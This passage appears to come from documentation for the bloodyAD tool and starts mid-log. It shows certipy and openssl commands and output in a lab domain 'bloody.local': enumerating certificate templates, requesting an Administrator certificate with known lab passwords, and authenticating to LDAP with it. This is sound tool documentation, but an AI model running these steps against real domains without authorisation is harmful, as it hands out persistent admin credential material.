[*] Trying to get CA configuration for 'bloody-DC01-CA' via CSRA
[+] Trying to get DCOM connection for: 192.168.10.2
[*] Got CA configuration for 'bloody-DC01-CA'
[+] Resolved 'DC01.bloody.local' from cache: 192.168.10.2
[+] Connecting to 192.168.10.2:80

## Get the PFX
$ certipy req -u Administrator@bloody.local -p 'Password123!' -target 192.168.10.2 -ca bloody-DC01-CA -template User
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'Administrator@bloody.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

## Convert it to pem
$ openssl pkcs12 -in administrator.pfx -out administrator.pem -nodes
Enter Import Password:

# Use cert authentication
$ bloodyAD -c ":administrator.pem" -d bloody -u Administrator --host 192.168.10.2 get object 'DC=bloody,DC=local' --attr msDS-Behavior-Version

distinguishedName: DC=bloody,DC=local
msDS-Behavior-Version: DS_BEHAVIOR_WIN2016

Old certipy version v2.0.9

# Grab the cert

## Get the CA Authority name
## -debug is required in my env or it doesn't work
(venv) PS > certipy.exe find bloody/Administrator:passw0rd@192.168.10.2 -debug
Certipy v2.0.9 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[+] Authenticating to LDAP server
[+] Bound to ldaps://192.168.10.2:636 - ssl
[+] Default path: DC=bloody,DC=local
[+] Configuration path: CN=Configuration,DC=bloody,DC=local
[*] Found 33 certificate templates
[*] Finding certificate authorities
[+] Trying to resolve 'WIN-IJ5B521UO5L.bloody.local' at '192.168.10.2'
[*] Trying to get CA configuration for 'bloody-WIN-IJ5B521UO5L-CA' via CSRA
[+] Target system is 192.168.10.2 and isFQDN is False
[+] StringBinding: \\\\WIN-IJ5B521UO5L[\\pipe\\cert]
[+] StringBinding: WIN-IJ5B521UO5L[49702]
[*] Got CA configuration for 'bloody-WIN-IJ5B521UO5L-CA'
[+] Resolved 'WIN-IJ5B521UO5L.bloody.local' from cache: 192.168.10.2
[+] Connecting to 192.168.10.2:80
[*] Found 11 enabled certificate templates
[*] Saved text output to '20220506173005_Certipy.txt'
[*] Saved JSON output to '20220506173005_Certipy.json'
[*] Saved BloodHound data to '20220506173005_Certipy.zip'. Drag and drop the file into the BloodHound GUI

## Get the PFX
(venv) PS > certipy.exe req bloody/Administrator:passw0rd@192.168.10.2 -ca bloody-WIN-IJ5B521UO5L-CA -debug

[*] Requesting certificate
[+] Trying to connect to endpoint: ncacn_np:192.168.10.2[\pipe\cert]
[+] Connected to endpoint: ncacn_np:192.168.10.2[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'Administrator@bloody.local'
[*] Saved certificate and private key to 'administrator.pfx'